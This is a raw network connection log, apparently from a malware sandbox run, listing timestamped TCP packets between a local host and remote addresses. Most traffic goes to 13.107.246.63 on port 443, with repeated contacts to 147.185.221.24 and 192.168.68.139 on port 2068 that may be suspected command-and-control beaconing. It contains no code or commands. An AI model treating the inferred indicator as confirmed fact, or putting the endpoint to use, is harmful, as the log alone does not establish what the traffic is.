Nov 23, 2024 21:13:33.161827087 CET	443	50006	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.161875010 CET	50006	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.161899090 CET	50006	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.161915064 CET	443	50006	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.161926985 CET	50006	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.161933899 CET	443	50006	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.165272951 CET	50012	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.165313005 CET	443	50012	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.165370941 CET	50012	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.165582895 CET	50012	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.165589094 CET	443	50012	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.249665022 CET	443	50009	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.250231028 CET	50009	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.250269890 CET	443	50009	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.252131939 CET	50009	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.252139091 CET	443	50009	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.504379034 CET	443	50008	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.507563114 CET	443	50008	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.507606983 CET	50008	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.507612944 CET	443	50008	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.507662058 CET	50008	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.507690907 CET	50008	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.507713079 CET	443	50008	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.507745028 CET	50008	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.507752895 CET	443	50008	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.511145115 CET	50013	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.511249065 CET	443	50013	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.511337996 CET	50013	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.511528969 CET	50013	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.511567116 CET	443	50013	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.683818102 CET	443	50009	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.686875105 CET	443	50009	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.686940908 CET	50009	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.686995983 CET	50009	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.687017918 CET	443	50009	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.687030077 CET	50009	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.687036037 CET	443	50009	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.692408085 CET	50014	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.692456961 CET	443	50014	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.692511082 CET	50014	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.692791939 CET	50014	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.692800999 CET	443	50014	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:34.629343987 CET	443	50011	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:34.630605936 CET	50011	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:34.630605936 CET	50011	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:34.630639076 CET	443	50011	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:34.630645037 CET	443	50011	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:34.759630919 CET	443	50010	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:34.764101982 CET	50010	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:34.764123917 CET	443	50010	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:34.764765978 CET	50010	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:34.764772892 CET	443	50010	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:34.947895050 CET	443	50012	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:34.948549986 CET	50012	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:34.948563099 CET	443	50012	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:34.949287891 CET	50012	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:34.949300051 CET	443	50012	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.072937012 CET	443	50011	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.076083899 CET	443	50011	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.076138973 CET	50011	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.076178074 CET	50011	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.076196909 CET	443	50011	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.076210022 CET	50011	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.076215029 CET	443	50011	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.079880953 CET	50015	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.079968929 CET	443	50015	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.080045938 CET	50015	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.080594063 CET	50015	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.080621004 CET	443	50015	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.141556025 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:35.212812901 CET	443	50010	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.216193914 CET	443	50010	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.216250896 CET	50010	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.216270924 CET	443	50010	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.216319084 CET	443	50010	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.216366053 CET	50010	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.216408968 CET	50010	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.216427088 CET	443	50010	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.216437101 CET	50010	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.216442108 CET	443	50010	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.221148968 CET	50016	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.221194029 CET	443	50016	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.221266031 CET	50016	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.221594095 CET	50016	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.221607924 CET	443	50016	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.265822887 CET	2068	49979	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:35.265877962 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:35.358333111 CET	443	50013	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.359054089 CET	50013	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.359076977 CET	443	50013	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.360311031 CET	50013	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.360316992 CET	443	50013	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.394022942 CET	443	50012	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.394047976 CET	443	50012	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.394095898 CET	50012	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.394109011 CET	443	50012	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.395181894 CET	50012	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.395195007 CET	443	50012	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.395251036 CET	50012	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.395355940 CET	443	50012	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.395390034 CET	443	50012	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.395445108 CET	50012	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.399610996 CET	50017	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.399652004 CET	443	50017	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.399709940 CET	50017	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.399895906 CET	50017	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.399909019 CET	443	50017	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.480453014 CET	443	50014	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.492050886 CET	50014	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.492069960 CET	443	50014	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.492842913 CET	50014	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.492847919 CET	443	50014	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.497668028 CET	2068	49979	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:35.497719049 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:35.617429972 CET	2068	49979	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:35.903501034 CET	443	50013	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.903527975 CET	443	50013	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.903583050 CET	50013	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.903608084 CET	443	50013	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.903832912 CET	50013	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.903846979 CET	443	50013	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.903856993 CET	50013	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.903995037 CET	443	50013	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.904028893 CET	443	50013	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.904074907 CET	50013	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.906837940 CET	50018	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.906864882 CET	443	50018	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.906928062 CET	50018	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.907135010 CET	50018	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.907149076 CET	443	50018	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.966679096 CET	443	50014	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.969530106 CET	443	50014	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.969629049 CET	50014	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.969651937 CET	443	50014	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.969675064 CET	443	50014	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.969747066 CET	50014	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.969770908 CET	50014	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.969770908 CET	50014	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.969789028 CET	443	50014	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.969796896 CET	443	50014	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.972358942 CET	50019	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.972395897 CET	443	50019	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:35.972472906 CET	50019	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.972611904 CET	50019	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:35.972625971 CET	443	50019	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.169511080 CET	443	50015	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.172802925 CET	50015	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.172859907 CET	443	50015	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.173695087 CET	50015	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.173707962 CET	443	50015	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.201664925 CET	443	50016	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.203107119 CET	50016	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.203123093 CET	443	50016	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.204149961 CET	50016	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.204154968 CET	443	50016	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.296871901 CET	443	50017	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.304205894 CET	50017	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.304234982 CET	443	50017	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.305160999 CET	50017	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.305166960 CET	443	50017	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.629153967 CET	443	50015	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.634524107 CET	443	50015	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.634599924 CET	50015	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.678698063 CET	443	50016	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.678776979 CET	443	50016	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.678827047 CET	50016	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.678837061 CET	443	50016	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.678901911 CET	443	50016	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.678951025 CET	50016	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.700609922 CET	443	50018	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.729069948 CET	50015	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.729110003 CET	443	50015	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.729137897 CET	50015	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.729157925 CET	443	50015	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.732983112 CET	50016	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.732990026 CET	443	50016	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.733004093 CET	50016	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.733010054 CET	443	50016	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.733624935 CET	443	50019	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.733819008 CET	50018	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.733834982 CET	443	50018	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.734770060 CET	50018	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.734774113 CET	443	50018	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.736845016 CET	50019	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.736856937 CET	443	50019	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.737586975 CET	50019	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.737591982 CET	443	50019	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.741027117 CET	50020	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.741059065 CET	443	50020	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.741111040 CET	50020	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.741286039 CET	50020	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.741298914 CET	443	50020	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.741956949 CET	50021	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.741981030 CET	443	50021	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.742027998 CET	50021	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.742250919 CET	50021	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.742263079 CET	443	50021	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.742655039 CET	443	50017	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.747850895 CET	443	50017	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.747898102 CET	50017	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.748053074 CET	50017	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.748054028 CET	50017	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.748060942 CET	443	50017	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.748069048 CET	443	50017	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.752202988 CET	50022	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.752218962 CET	443	50022	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:37.752263069 CET	50022	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.752619028 CET	50022	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:37.752630949 CET	443	50022	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:38.147767067 CET	443	50018	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:38.150942087 CET	443	50018	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:38.150993109 CET	443	50018	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:38.151035070 CET	50018	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:38.151073933 CET	50018	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:38.151124001 CET	50018	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:38.151132107 CET	443	50018	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:38.151175022 CET	50018	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:38.151179075 CET	443	50018	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:38.153546095 CET	50023	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:38.153577089 CET	443	50023	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:38.153666019 CET	50023	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:38.153795958 CET	50023	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:38.153810978 CET	443	50023	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:38.189985991 CET	443	50019	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:38.193222046 CET	443	50019	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:38.193373919 CET	50019	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:38.193581104 CET	50019	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:38.193581104 CET	50019	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:38.193588018 CET	443	50019	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:38.193594933 CET	443	50019	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:38.196218014 CET	50024	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:38.196260929 CET	443	50024	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:38.196436882 CET	50024	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:38.196578979 CET	50024	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:38.196589947 CET	443	50024	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:39.110362053 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:39.233572960 CET	2068	49979	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:39.518176079 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:39.639667988 CET	2068	49979	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:39.658144951 CET	443	50021	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:39.658504009 CET	443	50022	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:39.658668995 CET	50021	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:39.658690929 CET	443	50021	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:39.658840895 CET	443	50020	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:39.659022093 CET	50022	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:39.659058094 CET	443	50022	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:39.659218073 CET	50021	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:39.659223080 CET	443	50021	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:39.659487009 CET	50020	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:39.659487963 CET	50022	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:39.659504890 CET	443	50020	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:39.659514904 CET	443	50022	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:39.659890890 CET	50020	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:39.659895897 CET	443	50020	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:39.922764063 CET	2068	49979	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:39.922914982 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:39.976305008 CET	443	50024	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:39.981718063 CET	50024	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:39.981745005 CET	443	50024	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:39.982198000 CET	50024	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:39.982204914 CET	443	50024	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:39.984977961 CET	443	50023	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:39.985466003 CET	50023	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:39.985480070 CET	443	50023	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:39.986493111 CET	50023	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:39.986499071 CET	443	50023	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.116888046 CET	443	50021	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.117854118 CET	443	50022	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.120013952 CET	443	50021	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.120052099 CET	443	50020	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.120121002 CET	443	50021	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.120177984 CET	50021	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.121017933 CET	443	50022	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.121069908 CET	443	50022	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.121100903 CET	50022	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.121123075 CET	50021	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.123163939 CET	443	50020	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.123195887 CET	50022	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.126132965 CET	50020	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.178558111 CET	50021	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.178558111 CET	50021	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.178575993 CET	443	50021	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.178590059 CET	443	50021	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.196058989 CET	50022	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.196058989 CET	50022	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.196094990 CET	443	50022	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.196110010 CET	443	50022	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.209670067 CET	50020	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.209670067 CET	50020	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.209698915 CET	443	50020	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.209714890 CET	443	50020	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.245250940 CET	50025	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.245287895 CET	443	50025	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.245656967 CET	50025	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.247085094 CET	50026	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.247134924 CET	443	50026	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.247427940 CET	50026	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.248024940 CET	50025	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.248047113 CET	443	50025	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.248248100 CET	50026	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.248275995 CET	443	50026	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.250387907 CET	50027	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.250415087 CET	443	50027	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.250647068 CET	50027	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.250785112 CET	50027	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.250794888 CET	443	50027	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.345619917 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:40.347994089 CET	50028	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:13:40.414088011 CET	443	50024	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.417428970 CET	443	50024	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.417499065 CET	50024	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.417593002 CET	50024	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.417593002 CET	50024	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.417610884 CET	443	50024	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.417625904 CET	443	50024	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.421638012 CET	50029	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.421686888 CET	443	50029	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.421840906 CET	50029	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.422096968 CET	50029	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.422122955 CET	443	50029	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.433027029 CET	443	50023	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.436292887 CET	443	50023	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.436368942 CET	50023	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.436486959 CET	50023	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.436486959 CET	50023	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.436496019 CET	443	50023	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.436503887 CET	443	50023	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.439316988 CET	50030	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.439353943 CET	443	50030	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.439467907 CET	50030	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.439798117 CET	50030	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:40.439812899 CET	443	50030	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:40.471962929 CET	2068	49979	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:40.474251986 CET	2068	50028	192.168.68.139	192.168.2.4
Nov 23, 2024 21:13:40.474371910 CET	50028	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:13:40.557861090 CET	50028	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:13:40.731112957 CET	2068	50028	192.168.68.139	192.168.2.4
Nov 23, 2024 21:13:42.063644886 CET	443	50026	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.067976952 CET	50026	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.067995071 CET	443	50026	13.107.246.63	192.168.2.4
